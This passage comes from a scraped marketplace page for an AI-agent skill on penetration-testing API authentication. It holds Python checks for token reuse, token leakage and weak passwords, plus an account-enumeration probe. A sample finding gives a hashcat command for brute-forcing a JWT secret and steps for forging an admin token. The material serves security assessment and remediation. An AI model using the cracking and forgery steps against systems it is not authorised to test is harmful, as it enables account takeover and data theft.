refresh token (should fail if rotation is implemented)\n    reuse_resp = requests.post(f\"{BASE_URL}\u002Fauth\u002Frefresh\",\n        json={\"refresh_token\": refresh_token})\n    if reuse_resp.status_code == 200:\n        print(\"[HIGH] Refresh token reuse allowed - no rotation implemented\")\n\n# Test 4: Token in URL (leakage risk)\nresp = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme?token={token}\")\nif resp.status_code == 200:\n    print(\"[MEDIUM] Token accepted in query parameter - may leak in logs\u002Freferrer\")\n```\n\n### Step 6: Password Policy and Credential Testing\n\n```python\n# Test password policy enforcement on registration\u002Fchange endpoints\nweak_passwords = [\n    \"a\",           # Too short\n    \"password\",    # Common password\n    \"12345678\",    # Numeric only\n    \"abcdefgh\",    # Alpha only, no complexity\n    \"Password1\",   # Meets basic complexity but is common\n    \"\",            # Empty\n    \" \",           # Whitespace\n]\n\nfor pwd in weak_passwords:\n    resp = requests.post(f\"{BASE_URL}\u002Fauth\u002Fregister\",\n        json={\"email\": f\"test_{hash(pwd)%9999}@example.com\",\n              \"password\": pwd, \"name\": \"Test User\"})\n    if resp.status_code in (200, 201):\n        print(f\"[WEAK POLICY] Password accepted: '{pwd}'\")\n\n# Test account enumeration via login response differences\nvalid_email = \"testuser@example.com\"\ninvalid_email = \"nonexistent_user_xyz@example.com\"\n\nresp_valid = requests.post(f\"{BASE_URL}\u002Fauth\u002Flogin\",\n    json={\"username\": valid_email, \"password\": \"wrongpassword\"})\nresp_invalid = requests.post(f\"{BASE_URL}\u002Fauth\u002Flogin\",\n    json={\"username\": invalid_email, \"password\": \"wrongpassword\"})\n\nif resp_valid.text != resp_invalid.text or resp_valid.status_code != resp_invalid.status_code:\n    print(f\"[MEDIUM] Account enumeration possible:\")\n    print(f\"  Valid user: {resp_valid.status_code} - {resp_valid.text[:100]}\")\n    print(f\"  Invalid user: {resp_invalid.status_code} - {resp_invalid.text[:100]}\")\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Broken Authentication** | OWASP API2:2023 - weaknesses in authentication mechanisms that allow attackers to assume identities of legitimate users |\n| **JWT (JSON Web Token)** | Self-contained token format with header.payload.signature structure, used for stateless API authentication |\n| **Token Revocation** | Server-side mechanism to invalidate tokens before their expiration, critical for logout and password change |\n| **Credential Stuffing** | Automated attack using leaked username\u002Fpassword pairs against authentication endpoints |\n| **Account Enumeration** | Determining valid usernames through different error messages or response times for valid vs invalid accounts |\n| **Refresh Token Rotation** | Security practice where each use of a refresh token generates a new one, preventing token reuse attacks |\n\n## Tools & Systems\n\n- **Burp Suite JWT Editor**: Extension for decoding, editing, and re-signing JWT tokens with various attack modes\n- **jwt_tool**: Python tool for JWT testing with 12+ attack modes including alg:none, key confusion, and JWKS spoofing\n- **hashcat**: GPU-accelerated password cracker supporting JWT HMAC secret brute-forcing (mode 16500)\n- **Hydra**: Network login brute-forcer supporting HTTP form-based and API authentication testing\n- **Nuclei**: Template-based scanner with authentication bypass detection templates\n\n## Common Scenarios\n\n### Scenario: SaaS Platform API Authentication Assessment\n\n**Context**: A SaaS platform uses JWT tokens for API authentication. The JWT is issued upon login and used for all subsequent API calls. A refresh token mechanism is also implemented.\n\n**Approach**:\n1. Authenticate and capture the JWT: algorithm is HS256, expiration is 7 days, payload contains user role\n2. Test alg:none bypass: server rejects the token (secure)\n3. Brute force the HMAC secret: discover the secret is \"company-jwt-secret-2023\" (found using hashcat with custom wordlist)\n4. Forge a JWT with admin role using the discovered secret: gain admin access to all endpoints\n5. Test token revocation: tokens remain valid after logout and password change (no blacklist)\n6. Test refresh token: refresh token has no expiration and can be reused indefinitely\n7. Find that the password reset endpoint returns different messages for valid vs invalid emails\n8. Discover that the `\u002Fhealth` and `\u002Fmetrics` endpoints are accessible without authentication\n\n**Pitfalls**:\n- Only testing the login endpoint and missing authentication weaknesses in password reset, MFA, and token refresh flows\n- Not checking if the JWT secret is the same across all environments (dev, staging, production)\n- Ignoring the token lifetime: a 7-day JWT with no revocation means a stolen token is valid for a week\n- Not testing for token leakage in server logs, URL parameters, or error messages\n\n## Output Format\n\n```\n## Finding: JWT HMAC Secret Brute-Forceable and Token Not Revocable\n\n**ID**: API-AUTH-001\n**Severity**: Critical (CVSS 9.1)\n**OWASP API**: API2:2023 - Broken Authentication\n**Affected Components**:\n  - POST \u002Fapi\u002Fv1\u002Fauth\u002Flogin (token issuance)\n  - All authenticated endpoints (token validation)\n  - POST \u002Fapi\u002Fv1\u002Fauth\u002Flogout (ineffective)\n\n**Description**:\nThe API uses HS256-signed JWT tokens with a brute-forceable secret\n(\"company-jwt-secret-2023\"). An attacker who discovers this secret can\nforge tokens for any user with any role, including admin. Additionally,\ntokens are not revocable - logout does not invalidate the token server-side,\nand the 7-day expiration means stolen tokens remain valid for extended periods.\n\n**Attack Chain**:\n1. Capture any valid JWT from authenticated session\n2. Brute force the HMAC secret using hashcat: hashcat -a 0 -m 16500 jwt.txt wordlist.txt\n3. Secret recovered in 3 minutes: \"company-jwt-secret-2023\"\n4. Forge admin JWT: modify \"role\" claim to \"admin\", re-sign with discovered secret\n5. Access admin endpoints: GET \u002Fapi\u002Fv1\u002Fadmin\u002Fusers returns all 50,000 user accounts\n\n**Remediation**:\n1. Replace HS256 with RS256 using a 2048-bit RSA key pair\n2. Use a cryptographically random secret of at least 256 bits if HMAC must be used\n3. Implement token blacklisting using Redis for logout and password change events\n4. Reduce token TTL to 15 minutes with refresh token rotation\n5. Add `iss` and `aud` claims validation to prevent token misuse across services\n```\n",{"name":5,"tags":60,"author":62,"domain":53,"license":15,"version":63,"nist_csf":64,"subdomain":47,"description":69,"mitre_attack":70},[47,46,37,61,42,40],"jwt","mahipal","1.0.0",[65,66,67,68],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","Tests API authentication mechanisms for weaknesses including broken token validation, missing authentication on endpoints, weak password policies, credential stuffing susceptibility, token leakage in URLs or logs, and session management flaws. The tester evaluates JWT implementation, API key handling, OAuth flows, and session token entropy to identify authentication bypasses. Maps to OWASP API2:2023 Broken Authentication. Activates for requests involving API authentication testing, token validation assessment, credential security testing, or API auth bypass.\n",[71,72,73,74,75],"T1190","T1059.007","T1552.001","T1003","T1110","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Ftesting-api-authentication-weaknesses",4414,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":87,"prompt":97,"zipAvailable":98},[88,91,94],{"tool":89,"command":90},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-api-authentication-weaknesses",{"tool":92,"command":93},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-api-authentication-weaknesses",{"tool":95,"command":96},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-api-authentication-weaknesses","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-api-authentication-weaknesses\u002FSKILL.md",true,[100,105,111,117,123,127,131,135,139,143,147,151],{"path":101,"resourceType":101,"resourceTypeDesc":102,"sizeBytes":103,"sourceHtmlUrl":104},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-api-authentication-weaknesses\u002FLICENSE",{"path":106,"resourceType":107,"resourceTypeDesc":108,"sizeBytes":109,"sourceHtmlUrl":110},"references\u002Fapi-reference.md","REFERENCE","参考文档",1805,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-api-authentication-weaknesses\u002Freferences\u002Fapi-reference.md",{"path":112,"resourceType":113,"resourceTypeDesc":114,"sizeBytes":115,"sourceHtmlUrl":116},"scripts\u002Fagent.py","SCRIPT","脚本",8457,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-api-authentication-weaknesses\u002Fscripts\u002Fagent.py",{"path":118,"resourceType":119,"resourceTypeDesc":120,"sizeBytes":121,"sourceHtmlUrl":122},"seeds\u002Fbase-notes.base","OTHER","其他",379,"https:\u002F\u002Fgithub.com\u002Fasermax\u002Fclaude-plugins\u002Fblob\u002Fmaster\u002Fzenku\u002Fskills\u002Finit\u002Fseeds\u002Fbase-notes.base",{"path":124,"resourceType":119,"resourceTypeDesc":120,"sizeBytes":125,"sourceHtmlUrl":126},"seeds\u002Fbase-quest-log.base",2465,"https:\u002F\u002Fgithub.com\u002Fasermax\u002Fclaude-plugins\u002Fblob\u002Fmaster\u002Fzenku\u002Fskills\u002Finit\u002Fseeds\u002Fbase-quest-log.base",{"path":128,"resourceType":107,"resourceTypeDesc":108,"sizeBytes":129,"sourceHtmlUrl":130},"seeds\u002FMANIFEST.md",4649,"https:\u002F\u002Fgithub.com\u002Fasermax\u002Fclaude-plugins\u002Fblob\u002Fmaster\u002Fzenku\u002Fskills\u002Finit\u002Fseeds\u002FMANIFEST.md",{"path":132,"resourceType":107,"resourceTypeDesc":108,"sizeBytes":133,"sourceHtmlUrl":134},"seeds\u002Fnote-folder-README.md",712,"https:\u002F\u002Fgithub.com\u002Fasermax\u002Fclaude-plugins\u002Fblob\u002Fmaster\u002Fzenku\u002Fskills\u002Finit\u002Fseeds\u002Fnote-folder-README.md",{"path":136,"resourceType":107,"resourceTypeDesc":108,"sizeBytes":137,"sourceHtmlUrl":138},"seeds\u002Fquest-log-README.md",11210,"https:\u002F\u002Fgithub.com\u002Fasermax\u002Fclaude-plugins\u002Fblob\u002Fmaster\u002Fzenku\u002Fskills\u002Finit\u002Fseeds\u002Fquest-log-README.md",{"path":140,"resourceType":107,"resourceTypeDesc":108,"sizeBytes":141,"sourceHtmlUrl":142},"seeds\u002Ftemplate-adventure.md",3450,"https:\u002F\u002Fgithub.com\u002Fasermax\u002Fclaude-plugins\u002Fblob\u002Fmaster\u002Fzenku\u002Fskills\u002Finit\u002Fseeds\u002Ftemplate-adventure.md",{"path":144,"resourceType":107,"resourceTypeDesc":108,"sizeBytes":145,"sourceHtmlUrl":146},"seeds\u002Ftemplate-note.md",1704,"https:\u002F\u002Fgithub.com\u002Fasermax\u002Fclaude-plugins\u002Fblob\u002Fmaster\u002Fzenku\u002Fskills\u002Finit\u002Fseeds\u002Ftemplate-note.md",{"path":148,"resourceType":107,"resourceTypeDesc":108,"sizeBytes":149,"sourceHtmlUrl":150},"seeds\u002Ftemplate-quest.md",1377,"https:\u002F\u002Fgithub.com\u002Fasermax\u002Fclaude-plugins\u002Fblob\u002Fmaster\u002Fzenku\u002Fskills\u002Finit\u002Fseeds\u002Ftemplate-quest.md",{"path":152,"resourceType":107,"resourceTypeDesc":108,"sizeBytes":153,"sourceHtmlUrl":154},"seeds\u002Fvault-README.md",7903,"https:\u002F\u002Fgithub.com\u002Fasermax\u002Fclaude-plugins\u002Fblob\u002Fmaster\u002Fzenku\u002Fskills\u002Finit\u002Fseeds\u002Fvault-README.md",[156,181,205,229,254,280],{"skillNo":157,"name":158,"nameZh":6,"description":159,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":160,"categories":161,"keywords":163,"publishedAt":55},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[162],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[164,165,166,167,54,53,168,169,51,170,171,172,173,174,175,176,177,178,179,180],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":182,"name":183,"nameZh":6,"description":184,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":185,"categories":186,"keywords":188,"publishedAt":55},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[187],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[189,177,190,191,54,192,53,51,193,194,195,196,197,198,199,200,201,202,203,204],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":206,"name":207,"nameZh":6,"description":208,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":209,"categories":210,"keywords":213,"publishedAt":55},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[211,212],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[199,214,215,216,38,53,217,49,193,218,219,220,221,222,223,224,225,226,227,228],"backup","recovery","validating backup integrity for recovery","infrastructure","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":230,"name":231,"nameZh":6,"description":232,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":233,"categories":234,"keywords":236,"publishedAt":55},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[235],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[237,238,239,53,240,241,48,242,243,244,245,246,247,248,249,250,196,251,252,253],"windows","kape","triaging windows with kape","registry","browser","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":255,"name":256,"nameZh":6,"description":257,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":258,"categories":259,"keywords":261,"publishedAt":55},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[260],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[262,263,264,53,265,266,267,268,269,270,271,272,273,274,275,276,36,277,278,279],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","prioritization","ssvc","decision-tree",{"skillNo":281,"name":282,"nameZh":6,"description":283,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":284,"categories":285,"keywords":287,"publishedAt":55},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[286],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[54,288,53,289,290,291,292,293,294,295,296,224,297,225,298,299,300,301,302,303],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]